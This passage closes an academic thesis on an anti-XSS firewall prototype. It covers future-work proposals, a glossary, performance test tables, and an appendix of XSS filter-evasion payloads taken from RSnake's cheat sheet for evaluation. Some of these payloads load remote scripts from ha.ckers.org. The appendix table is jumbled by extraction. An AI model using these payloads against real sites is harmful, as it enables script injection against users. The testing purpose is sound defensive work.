creation and file deletion making such an extension easy to integrate in the
current prototype.



Validating Rich User Input – As was confirmed by Billy Hoffman and Bryan
Sullivan in the book “Ajax Security” [112], the same methodologies used to
defend traditional Web applications and Web services can also be used to
defend AJAX applications. Simply by applying proper whitelist validation logic to
all inputs, many common attacks such as XSS and SQL Injection can be blocked.
However, validating rich content such as RSS feeds, JavaScript widgets or HTML
is not particularly easy to do with regular expressions. For this reason a small
update to the component, XSSDefender, is suggested.

The update requires us to first validate the input structure using the positive
security model. Then, once the structure is confirmed to be valid, the content
inside it is evaluated as is currently being done through regular expressions. For
instance let us consider validating an RSS feed. Using the suggested approach
the first step would be to confirm that the RSS feed is of the appropriate structure
(e.g. there can only be one <channel> tag inside of the <rss> tag and <item>
tags). Then, once the RSS feed’s XML structure is validated, we turn to validating
the individual items using the whitelist approach. This same methodology is
applicable to any rich types including binary data [112].


Fine-Grained Rule Handling – Besides allowing for multiple actions per rule as
currently supported in the developed prototype, it is interesting to also have
multiple rules attached with each field/parameter. This could complicate the task
of the knowledgebase maintainer but it could allow for more powerful behaviour.
For instance, there could be cases where a particular rule is only valid at a
particular point in time. Also, there might be cases where multiple validations
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need to be executed sequentially on a given input. Another interesting proposal
would be to evaluate existing rule engines such as OpenRules and JRuleEngine
and to assess whether they would allow for such flexibility without losing the
expressive power and speed of the current approach.
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Appendix A: Glossary of Abbreviations
AIC

Availability, Integrity and Confidentiality

ARPANET

Advanced Research Projects Agency Network

AI

Artificial Intelligence

AJAX

Asynchronous JavaScript and XML

AOP

Aspect-Oriented Programming

API

Application Programming Interface

BEEP

Browser-Enforced Embedded Policies

BRE

Basic Regular Expression

CIA

Confidentiality, Integrity and Availability

CGI

Common Gateway Interface

CORS

Cross-Origin Resource Sharing

CRS

Core Rule Set

CSP

Content Security Policy

CSRF

Cross-site Request Forgery

CSS

Cascading Style Sheet

DOM

Document Object Model

DOS

Denial Of Service

DSO

Dynamic Shared Object

EBNF

Extended Backus-Naur Form

ERE

Extended Regular Expression

FBJS

Facebook JavaScript

FBML

Facebook Markup Language

FNR

False Negative Rate

FPR

False Positive Rate

FSM

Finite State Machine

FTP

File Transfer Protocol

HTML

HyperText Markup Language

HTTP

Hypertext Transfer Protocol

HTTPS

Hypertext Transfer Protocol Secure

IDS

Intrusion Detection System

IE

Internet Explorer

IETF

Internet Engineering Task Force

IIS

Internet Information Services

ISO

International Organization for Standardization

IT

Information Technology

IVR

Interactive Voice Response

JAR

Java Archive

JEE/J2EE

Java Platform, Enterprise Edition

JSONP

JavaScript Object Notation with Padding

JSP

Java Server Pages

JVM

Java Virtual Machine

JVMTI

Java Virtual Machine Tool Interface

LTW

Load-Time Weaving

MITM

Man-In-The-Middle

NNTP

Network News Transfer Protocol

OSI

Open Systems Interconnection

OWASP

Open Web Application Security Project

PCI DSS

Payment Card Industry Data Security Standard

PHP

Hypertext Preprocessor

RE

Regular Expression

RFC

Request For Comments

RIA

Rich Internet applications

ROI

Return on Investment

RSS

Really Simple Syndication

SDLC

Software Development Life Cycle

SOP

Same Origin Policy

SOX

Sarbanes-Oxley

SPDL

Security Policy Description Language

SQL

Structured Query Language

SQLi

SQL Injection

SSL

Secure Sockets Layer

SWAP

Secure Web Application Proxy

TDD

Test-Driven Development

UI

User Interface

UML

Unified Modeling Language

UMP

Uniform Messaging Policy

URI

Uniform Resource Identifier

URL

Uniform Resource Locator

WAF

Web Application Firewall

WAR

Web Application Archive

WASC
WebSSARI

Web Application Security Consortium
Web application Security by Static Analysis and Runtime
Inspection

WPL

Web Protection Library

WSH

Windows Script Host

WWW

World Wide Web

XML

Extensible Markup Language

XSS

Cross-site Scripting

XST

Cross-site Tracing

Appendix B: Attacks Used In Our Evaluation
The table below lists the attacks that were used to evaluate the implemented prototype.
These attacks were extracted from Robert "RSnake" Hansen XSS Cheat Sheet [113].
The first column represents the attack name and the second column lists the attack
code.
Name
Basic XSS Attacks

Basic XSS Attacks
Basic XSS Attacks
Basic XSS Attacks
Basic XSS Attacks
HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks

Code
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,8
3,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCo
de(88,83,83))//-></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIP
T>=&{}
'';!--"<XSS>=&{()}
<SCRIPT>alert('XSS')</SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<BASE HREF="javascript:alert('XSS');//">
<BGSOUND SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS');">
<BODY ONLOAD=alert('XSS')>
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS');">
<IMG LOWSRC="javascript:alert('XSS');">
<IMG
SRC="http://www.thesiteyouareon.com/somecommand.php?somevariabl
es=maliciouscode">

HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks

<STYLE>li {list-style-image:
url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
<IMG SRC='vbscript:msgbox("XSS")'>

HTML Element
Attacks

<META HTTP-EQUIV="refresh" CONTENT="0;
URL=http://;URL=javascript:alert('XSS');">

HTML Element
Attacks

<OBJECT TYPE="text/x-scriptlet"
DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>

HTML Element
Attacks

<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b760080c744f389><param name=url
value=javascript:alert('XSS')></OBJECT>

HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks

<EMBED SRC="http://ha.ckers.org/xss.swf"
AllowScriptAccess="always"></EMBED>
a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")";
eval(a+b+c+d);
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks
HTML Element
Attacks
Character
Encoding Attacks
Character
Encoding Attacks
Character
Encoding Attacks

<STYLE
type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

%BCscript%BEalert(%A2XSS%A2)%BC/script%BE
<META HTTP-EQUIV="refresh"
CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFN
TJyk8L3NjcmlwdD4K">

<XSS STYLE="xss:expression(alert('XSS'))">
<STYLE>.XSS{backgroundimage:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>;
REL=stylesheet">
<STYLE>BODY{-mozbinding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
<TABLE BACKGROUND="javascript:alert('XSS')"></TABLE>
<TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

Character
Encoding Attacks
Character
Encoding Attacks

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

Character
Encoding Attacks

<IMG
SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#00000
99&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#00
00088&#0000083&#0000083&#0000039&#0000041>
<DIV STYLE="backgroundimage:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\00
69\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\00
53\0027\0029'\0029">

Character
Encoding Attacks

Character
Encoding Attacks

Character
Encoding Attacks
Character
Encoding Attacks
Character
Encoding Attacks
Character
Encoding Attacks
Embedded
Character Attacks
Embedded
Character Attacks
Embedded
Character Attacks
Embedded
Character Attacks
Embedded
Character Attacks
Embedded
Character Attacks
Embedded
Character Attacks
Embedded
Character Attacks
Embedded
Character Attacks
URL Obfuscation
URL Obfuscation

URL Obfuscation
URL Obfuscation

<IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;
&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#3
9;&#41;>

<IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#
x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x2
7&#x29>
<HEAD><META HTTP-EQUIV="CONTENT-TYPE"
CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4alert('XSS');+ADw-/SCRIPT+AD4\";alert('XSS');//
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
<IMG SRC=" &#14; javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<SCRIPT SRC=http://ha.ckers.org/xss.js
<SCRIPT SRC=//ha.ckers.org/.j>
<A HREF="http://66.102.7.147/">XSS</A>
<A
HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F
%6D">XSS</A>
<A HREF="http://1113982867/">XSS</A>
<A HREF="//google">XSS</A>

URL Obfuscation
URL Obfuscation
URL Obfuscation
URL Obfuscation
URL Obfuscation
URL Obfuscation

<A HREF="http://ha.ckers.org@google">XSS</A>
<A HREF="http://google:ha.ckers.org">XSS</A>
<A HREF="http://google.com/">XSS</A>
<A HREF="http://www.google.com./">XSS</A>
<A
HREF="javascript:document.location='http://www.google.com/'">XSS</A>
<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>
Table 7-1 – XSS Attack List

Appendix C: Performance Testing Results
The tables presented in this Appendix contain the data used to build the performance
charts we investigated in Section 5.5.5.

The data table entries below, Table 7-2, contain the response time in milliseconds for
each test sample. The first row, D, represents the case when the anti-XSS tool was
disabled during testing, whilst the second row, E, represents the case when protection
was enabled.

P
D
E

1
934
934

2
925
930

3
930
617

4
622
931

5
919
929

6
937
615

7
609
632

8
620
929

9
606
612

10
605
931

11
607
933

12
607
625

13
619
940

14
617
931

15
602
928

Table 7-2 – XSS Attack Blocked (Normal System Usage Data)

The data table entries below, Table 7-3, contain the actual and the average response
time in milliseconds (column AVG) for each executed test case. The first column
represents the test case being executed. The notation used in this field is np, where n
represents the test case number and p indicates whether protection is enabled or
disabled. Thus, TC=1D means that we are executing “Test Case 1” without using the
anti-XSS tool. The test cases were described in Section 5.5.3.

TC
1D
1E
2D
2E
3D
3E
4D
4E

1
2915
933
2180
930
24022
927
1559
613

2
2177
932
1565
931
1555
933
1506
614

3
2173
933
1570
930
24015
939
1559
627

4
2171
929
1555
937
941
929
1491
928

5
2181
929
1865
930
20585
928
1872
606

6
3117
941
1866
932
943
932
2371
928

7
1850
930
2801
927
978
929
1918
929

8
2797
928
1849
929
1244
940
1245
930

9
1558
928
1250
620
1233
612
1228
938

10
2479
930
1863
922
24652
934
1546
929

Table 7-3 – XSS Attack Blocked (Abnormal System Usage Data)

AVG
2341.8
931.3
1836.4
898.8
10016.8
900.3
1629.5
804.2

